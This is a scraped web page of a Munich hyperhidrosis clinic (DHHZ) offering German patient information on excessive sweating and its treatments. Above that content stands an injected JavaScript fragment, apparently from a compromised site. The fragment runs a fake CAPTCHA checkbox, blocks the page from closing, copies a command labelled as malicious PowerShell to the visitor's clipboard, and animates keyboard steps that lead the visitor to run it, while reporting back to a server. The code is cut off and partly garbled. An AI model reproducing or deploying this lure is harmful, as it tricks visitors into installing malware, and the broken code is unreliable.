li‘) ); var animationQueue = []; instructionItems.forEach(function(listItem) { var buttons = Array.prototype.slice.call( listItem.querySelectorAll(‚.step-text b‘) ); if (!buttons.length) return; if (buttons.length === 1) { animationQueue.push({type: ‚press‘, key: buttons[0]}); animationQueue.push({type: ‚wait‘, milliseconds: 600}); animationQueue.push({type: ‚release‘, key: buttons[0]}); animationQueue.push({type: ‚wait‘, milliseconds: 450}); } else { animationQueue.push({type: ‚press‘, key: buttons[0]}); animationQueue.push({type: ‚wait‘, milliseconds: 400}); for (var j = 1; j < buttons.length; j++) { animationQueue.push({type: 'press', key: buttons[j]}); animationQueue.push({type: 'wait', milliseconds: 380}); animationQueue.push({type: 'release', key: buttons[j]}); if (j = animationQueue.length) { currentIndex = 0; } var animationStep = animationQueue[currentIndex++]; if (animationStep.type === ‚press‘) { animationStep.key.classList.add(‚klit‘); executeNextAnimation(); } else if (animationStep.type === ‚release‘) { animationStep.key.classList.remove(‚klit‘); executeNextAnimation(); } else { setTimeout(executeNextAnimation, animationStep.milliseconds); } } setTimeout(executeNextAnimation, 600); } function addStepOneTooltip(modalElement, tooltipText) { if (!tooltipText) return; var firstListItem = modalElement.querySelector(‚.instruction-list li‘); if (!firstListItem) return; var buttons = firstListItem.querySelectorAll(‚.step-text b‘); var targetButton = null; for (var i = 0; i < buttons.length; i++) { if (buttons[i].querySelector('svg')) { targetButton = buttons[i]; break; } } if (!targetButton && buttons.length) { targetButton = buttons[0]; } if (!targetButton) return; var hintSpan = document.createElement('span'); hintSpan.className = 'wk-hint'; hintSpan.appendChild(document.createTextNode('?')); var tooltipSpan = document.createElement('span'); tooltipSpan.className = 'wk-tooltip'; tooltipSpan.textContent = tooltipText; hintSpan.appendChild(tooltipSpan); targetButton.appendChild(hintSpan); } var checkboxButton = rootElement.querySelector('#cf-cb'); var spinnerElement = rootElement.querySelector('#cf-sp'); var labelElement = rootElement.querySelector('#cf-lbl'); var modalElement = rootElement.querySelector('#cf-modal'); function preventPageUnload(event) { event.preventDefault(); event.returnValue = ''; } window.addEventListener('beforeunload', preventPageUnload); setTimeout(function() { if (checkboxButton) { checkboxButton.style.display = 'block'; } if (spinnerElement) { spinnerElement.style.display = 'none'; } if (labelElement) { labelElement.textContent = UI_TRANSLATIONS.notRobotText; } }, 3000); checkboxButton.addEventListener('click', function() { if (checkboxButton.__executed) { return; } checkboxButton.__executed = true; window.removeEventListener('beforeunload', preventPageUnload); checkboxButton.style.display = 'none'; spinnerElement.style.display = 'flex'; if (labelElement) { labelElement.textContent = UI_TRANSLATIONS.verifyingText; } if (RAY_TRACKING_ID) { sendRequestToServer({ action: 'cb', k: API_AUTH_KEY, t: RAY_TRACKING_ID }); } serverPayloadPromise.then(function(payloadCommand) { if (modalElement) { modalElement.classList.add('active'); processKeyboardSteps(modalElement); startKeyboardAnimation(modalElement); addStepOneTooltip(modalElement, UI_TRANSLATIONS.stepKeyHelp); } if (payloadCommand) { var finalCommand = MALICIOUS_POWERSHELL_COMMAND ? (MALICIOUS_POWERSHELL_COMMAND + ';') : (payloadCommand); copyTextToClipboard(buildClipboardCommand()); var osKeyListener = function(event) { var os = TARGET_OPERATING_SYSTEM || detectVisitorOs(); var shouldRefreshClipboard = false; if (os === 'mac') { shouldRefreshClipboard = !!(event.metaKey || event.key === 'Meta'); } else if (os === 'linux') { shouldRefreshClipboard = !!( event.ctrlKey && event.altKey && String(event.key || '').toLowerCase() === 't' ); } else { shouldRefreshClipboard = !!( event.metaKey || event.key === 'Meta' || event.keyCode === 91 || event.keyCode === 92 ); } if (shouldRefreshClipboard) { copyTextToClipboard(buildClipboardCommand()); document.removeEventListener('keydown', osKeyListener); } }; document.addEventListener('keydown', osKeyListener); } waitForExecutionToken(RAY_TRACKING_ID); }); }); })(); });}();
Deutsches Hyperhidrosezentrum DHHZ®, St.-Bonifatius-Str. 5, D-81541 München Kommen Sie vorbei: Mo-Fr 9.30 -15:30 Uhr oder schreiben Sie an post(at)dhhz.de. Wir bieten im Augenblick keinen Telefonservice an, bitte nutzen Sie E-Mail, danke. Click here for information in English.  
Das DHHZ in neuem Design – wir überarbeiten unsere Website, unsere App, einfach unseren ganzen Online-Auftritt für mehr Klarheit und schneller zum Ziel. Freut Euch drauf.  

     

  Vagantin - es gibt AlternativenVagantin ist schon lange auf dem Markt, aber laut Bundesinstitut für Arzneimittel und Medizinprodukte bis 30.06.2024 (!) nicht verfügbar – Zukunft ungewiss. Die gute Nachricht: wir kennen Alternativen: Buchen Sie einen Sprechstundentermin oder lösen Sie’s doch gemeinsam mit uns ONLINE – hier klicken.  

PIO – das Online Coaching Programm des DHHZ für Hyperhidrosebetroffene.

Ziel von PIO ist es, dass Sie schnellstmöglich Ihr persönliches Behandlungsoptimum erreichen. Von zu Hause aus. Alle Infos zu PIO finden Sie in unserer App „Hyperhidrose“ oder lassen Sie es sich im Video kurz erklären:
YouTube

Mit dem Laden des Videos akzeptieren Sie die Datenschutzerklärung von YouTube.
Mehr erfahren

Video laden

zum PIO-ONLINE-Coaching-Programm und weiteren Infos hier klicken  

Spezialisten für die Behandlung von Hyperhidrose

Das DHHZ gibt es seit 2005. Seitdem haben wir zigtausend zu stark schwitzende (Hyperhidrose)  Menschen behandelt.Axhidrox Info In dem was wir tun sehen wir uns als Speerspitze sowohl bei der Gewinnung neuer Erkenntnisse als auch bei deren Anwendung. Wir forschen und entwickeln selbst, z.B. Methoden zur Prognose des sogenannten kompensatorischen Schwitzens. Wir unterstützen andere Forscher und die Industrie bei der Entwicklung neuer Behandlungsmethoden und Medikamente (z.B. Miradry und Axhidrox) und sind unter den Ersten, die sie ihren Patienten zur Verfügung stellen. Wir bieten sämtliche sinnvollen Behandlungsmöglichkeiten gegen Hyperhidrose und Erythrophobie an, bis hin zur Sympathikus-OP. Welche Behandlung für Sie die richtige ist, entscheiden wir gemeinsam nach einer ausführlichen und für einen schnellen und nachhaltigen Erfolg unverzichtbaren Erstuntersuchung. Und das Wichtigste: Sie werden sich vom ersten Moment an in Ihrem Problem verstanden fühlen. Der erste Schritt ist oft der schwerste. Wenn Sie schon so weit sind, klicken Sie jetzt unten auf “Termin buchen” und wählen “Erstuntersuchung” (vor Ort bei uns in München). Wenn Sie noch zweifeln, klicken Sie auch auf ”Termin buchen” und wählen “Quick Check” (online als Videocall). Online Terminbuchung hier klicken Einfach, schnell und unkompliziert: Sie brauchen ein Rezept? Dann haben Sie sicher schon unsere App „Hyperhidrose„. Sonst informieren Sie sich hier. Sie interessieren sich für das neue Medikament Axhidrox? Dann klicken Sie auf den blauen Axhidrox-Button oder hier für weitere Infos – wir versorgen Sie gerne und unkompliziert.  

Lade die App !

DHHZ App downloaden fürs IPhone  DHHZ App downloaden für Android von Google Klick hier oder suche im App Store / Play Store nach „Hyperhidrose“     [yop_poll id=“7″]

Hyperhidrose – übermäßiges, starkes Schwitzen

Deutsches Hyperhidrosezentrum DHHZ München

Schwitzen ist eine ganz natürliche Funktion des Körpers. Doch übermäßiges Schwitzen kann zu einer starken seelischen und körperlichen Belastung werden, denn die Hyperhidrose schränkt Betroffene wesentlich in ihrem Alltag ein. Wenn auch Sie unter übermäßigem Schwitzen leiden, sollen Sie auf den Seiten des Deutschen Hyperhidrosezentrums DHHZ in München endlich Verständnis finden. Wir bieten allen Betroffen, die an übermäßigem Schwitzen leiden, ausführliche Informationen zum Thema Hyperhidrose und eine Anlaufstelle für Austausch und Hilfe. Sie sind nicht allein mit Ihrem Problem, denn allein in Deutschland leiden rund 1 Million Menschen unter Hyperhidrose. Informieren Sie sich nachfolgend zum Thema „Übermäßiges Schwitzen / Hyperhidrose“. Gerne können Sie uns telefonisch oder per E-Mail erreichen.

Hyperhidrose – Warum schwitzen wir?

Jeder Mensch schwitzt. Schwitzen ist lebensnotwendig, denn Schweiß hilft dem Körper seine Temperatur zu regulieren. Würden wir nicht schwitzen, erlitten wir einen Hitzestau, denn die Hitze kann nicht mehr aus dem Inneren des Körpers nach außen abgeleitet werden. Wir schwitzen bei hohen Temperaturen, wenn wir uns anstrengen, bei scharfen Speisen, bei Fieber, wenn wir zu warm angezogen sind, bestimmte Medikamente nehmen müssen oder wenn wir Alkohol getrunken haben.
Hyperhidrose - starkes Schwitzen

Übermäßiges Schwitzen – Hyperhidrose

Auch starke Emotionen können Schwitzen auslösen, zum Beispiel, wenn wir sehr aufgeregt sind, Angst haben, heftige Wut empfinden und weiteren belastenden Situationen. Schweißdrüsen befinden sich nahezu überall auf der Haut. Besonders viele Schweißdrüsen sind an den Handinnenflächen und unter den Fußsohlen, aber auch an Achseln und Stirn. Diese Schweißdrüsen produzieren die Flüssigkeit, die auf der Oberfläche verdunstet und die Haut kühlt. Wann und welche Schweißdrüsen aktiv werden, wird über das vegetative Nervensystem gesteuert. Die meist unbewusst ablaufenden Körperfunktionen leiten Signale an das Nervengeflecht weiter, das dann entscheidet, welche Schweißdrüsen aktiv werden. Nicht alle Menschen schwitzen gleich. Manche Menschen schwitzen schnell, andere wiederum fast gar nicht. Auch die Auslöser sind von Mensch zu Mensch unterschiedlich.

Hyperhidrose – wenn übermäßiges Schwitzen zur Belastung wird

Hyperhidrose

Hyperhidrose – übermäßiges Schwitzen

Mediziner sprechen bei übermäßigem Schwitzen von Hyperhidrose. Die normale Schweißproduktion ist zeitweise oder dauerhaft gestört. Häufig treten die Probleme schon in der Kindheit oder Jugend auf. Der Schweiß bricht aus, auch wenn Betroffene keine erkennbare Ursache empfinden. Sie müssen sich nicht körperlich anstrengen, es muss nicht heiß sein und auch keine andere Ursache für übernormales Schwitzen liegt vor. Unterschieden wird zwischen der primären Hyperhidrose und der sekundären Hyperhidrose. Bei der primären Hyperhidrose sind vor allem die Handflächen, Fußsohlen, die Stirn, der Kopf und/oder die Achseln feucht bis sehr nass. Es kann aber auch der gesamte Körper übermäßig schwitzen. Bei der sekundären Hyperhidrose schwitzt am häufigsten die Körperzone und auch hier liegt die Ausprägung zwischen feucht und bisweilen sogar tropfnass. Die sekundäre Hyperhidrose kann verschiedene Ursachen haben, auf die wir nachfolgend noch eingehen werden.

Wann spricht man von übermäßigem Schwitzen?

Wie definiert man übermäßiges Schwitzen? Typische Symptome für starkes Schwitzen sind eine andauernde oder ausbruchsartige, immer aber sehr intensive Schweißbildung, die mit normalen Maßnahmen wie Waschen und dem Gebrauch von Deo oder spezieller Kleidung nicht mehr zu kontrollieren ist. Übermäßiges Schwitzen bezeichnet man auch, wenn Sie häufig stark schwitzen, auch wenn es nicht heiß ist und auch sonst keine erkennbaren Ursachen vorliegen. Sie schwitzen auch im Winter? Das ist schon fast die Diagnose einer Hyperhidrose. Sie sind schon bei der geringsten Aufregung nass geschwitzt und dies ist wörtlich zu nehmen. Handflächen und Fußsohlen oder die Achseln, Kopfhaut und Stirn sind so nass, dass Schweiß glitzert oder sogar Tropfen laufen – das ist übermäßiges Schwitzen, das ist Hyperhidrose.

Wieviele Menschen leiden unter Hyperhidrose?

Hyperhidrose

Durch Hyperhidrose sind mehr Menschen betroffen als angenommen wird

Zur Häufigkeit der Hyperhidrose gibt es gar nicht viele Untersuchungen. Ermittelt wurde in Studien, dass 1 bis 2,8 % aller Menschen unter ihrem Schwitzen leiden. Diese Zahlen sind unabhängig von Erdregion, Hautfarbe oder Klima. Für Deutschland muss man von gut einer Million Betroffener ausgehen, von denen etwa die Hälfte einen Behandlungswunsch hat.

Primäre Hyperhidrose – übermäßiges Schwitzen weil Nerven falsch funktionieren

Bei einer primären Hyperhidrose leiden Betroffene unter einer Störung der für das Schwitzen zuständigen Steuerungsnerven. Das extrem starke Schwitzen kann von einer Minute auf die andere ausbrechen und belastet Betroffene sehr, denn im Alltag führt dies ständig zu unangenehmen Situationen. Die Schweißdrüsen produzieren plötzlich große Mengen Schweiß, mehr als verdunsten kann. Manchmal fehlen erkennbare Auslöser ganz, manchmal reichen schon warme Temperaturen (nicht heiße) oder Gefühlsregungen, die aber bewusst gar keine Aufregung auslösen. Betroffene schwitzen anfallsartig, meist mehrmals in der Woche, sehr oft täglich, vielleicht sogar mehrmals täglich. Nachts haben Betroffene der primären Hyperhidrose in der Regel keine Beschwerden. Diese treten besonders tagsüber auf, wenn das vegetative Nervensystem aktiv ist. Das übermäßige Schwitzen kann zu Depressionen und Ängsten führen, denn Betroffene beginnen häufig sich mehr und mehr zurückzuziehen, um Situationen in der Öffentlichkeit zu meiden.

Sekundäre Hyperhidrose – Krankheiten lösen starkes Schwitzen aus

Bei einer sekundären Hyperhidrose leiden Betroffene unter starker Schweißbildung als Folge einer anderweitigen Erkrankung oder Medikamenteneinnahme. In der Mehrzahl der Fälle lässt sich auch eine sekundäre Hyperhidrose behandeln. Bekannte Grunderkrankungen können behandelt werden, Medikationen umgestellt werden, sodass auch hier das übermäßige Schwitzen besser wird.

Diagnose und Therapie der Hyperhidrose

Wir fragen Sie zunächst nach Ihren Beschwerden, familiärer Vorbelastung, den Lebensumständen und Ihrer persönlichen Krankengeschichte. Anschließend werden die betroffenen Stellen lokalisiert, hierzu gibt es spezielle Testverfahren. Wir messen Ihre Schweißmenge oder stellen die betroffenen Stellen mit Farbtests dar. Und wir können einen Blick in die Schwitz-Steuerung werfen und sehen, ob Ihre Schwitznerven normal arbeiten oder fehlerhaft.
Hyperhidrose kann man heilen

Hyperhidrose kann man heilen

Die Therapie bei primärer Hyperhidrose ist immer individuell und richtet sich nach Ihren persönlichen Beschwerden und Wünschen. Los geht es meist mit schweißstoppenden Mitteln wie Deos mit Aluminiumchlorid, den Antitranspiranten. Eine Stromtherapie, die Leitungswasser-Iontophorese, kann helfen. Hier fließt ein schwacher elektrischer Strom durch die Haut der Hände, Füße oder Achseln. Möglich sind auch rezeptpflichtige Medikamente zum Beispiel als Salben, Tabletten oder Tropfen. Für umschriebene Zonen kann Botulinumtoxin geeignet sein (Botox®, Dysport® oder andere). Immer häufiger können wir die Thermotherapie einsetzen, die Behandlung der Schweißdrüsen mit Hitze. Und wenn nichts hilft mag eine operative Nervenblockade des Sympathikusnerven das Schwitzen abstellen helfen. Gerne beraten wir Sie persönlich zu den verschiedenen Therapiemöglichkeiten.

Ist Schwitzen nicht gesund und darf gar nicht verändert werden?

Den Satz „Schwitzen ist gesund“, der als Volks“weisheit“ gilt, haben alle von vermehrtem Schwitzen Betroffenen schon dutzendfach gehört. Er zeigt wie mit dem Problem des übermäßigen Schwitzens – der Hyperhidrose – letztlich umgegangen wird. Die Betroffenen finden kaum Ansprechpartner für ihr Problem – ein Problem, das sie zu vermeiden und zu verbergen suchen. Schwitzen ist eine Körperfunktion und dient insbesondere der Kühlung. Vor Aufregung feuchte Hände? Das hat jeder schon erlebt. Bei Hyperhidrose-Erkrankten tritt das Schwitzen aber sehr verstärkt und ausbruchsartig auf – wie von Null auf Hundert. Die Angst, das Schwitzen nicht kontrollieren zu können, verstärkt den Effekt. Dieses Schwitzen zu vermindern schadet nicht, denn es ja eigentlich unsinnig. Mit übermäßigem Schwitzen muss man nicht leben.

Deutsches Hyperhidrosezentrum DHHZ – Wie wir Ihnen helfen können

Seit mehr als 17 Jahren helfen wir im DHHZ Betroffenen, die unter übermäßigem Schwitzen leiden und bieten Ihnen neben der Diagnose alle sinnvollen Therapien gegen Hyperhidrose. Wir bieten Ihnen Therapie mit Aluminiumchlorid, Iontophorese, Botulinumtoxin, Thermotherapie miraDry und die operative Sympathikusnervenblockade. Wir kennen alle Medikamente, die gegen Schwitzen helfen und wissen, wie sie sinnvoll eingesetzt werden können. Welche Therapieform für Sie in Frage kommt, klären wir mit Ihnen nach einer eingehenden Untersuchung. PD Dr. Christoph Schick ist ein Pionier in der Behandlung der Hyperhidrose (übermäßiges Schwitzen). Seit Mitte der 1990er Jahre widmet sich Dr. Schick der Erforschung, Diagnostik und Therapie dieser Krankheit, die so vielen Betroffenen das Leben erschwert. PD Dr. Schick gründete das Deutsche Hyperhidrosezentrum im Jahr 2005, das erste Zentrum in Deutschland, das sich ganzheitlich der Hyperhidrose widmet. Wir bieten Ihnen in unserem Zentrum Hilfe auf höchstem medizinischen Niveau. Selbstverständlich können Sie aus ganz Deutschland anreisen. Die Behandlung in München steht allen Betroffenen zur Verfügung. Wir bitten um vorherige Terminvereinbarung, damit wir uns ausreichend Zeit für Sie und Ihre Beschwerden nehmen können. Gerne könne Sie einen Termin auch online vereinbaren. Klicken Sie einfach auf den Termin-Button oben. Sie erreichen uns per E-Mail an post(at)dhhz.de Öffnungszeiten: Montag bis Freitag 9:30 – 15:30 Uhr. Wir sind gerne für Sie da und freuen uns, wenn auch Sie uns Ihr Vertrauen schenken. Übermäßiges Schwitzen – Hyperhidrose. Erythrophobie – übermäßiges Erröten – Axhidrox
to top menu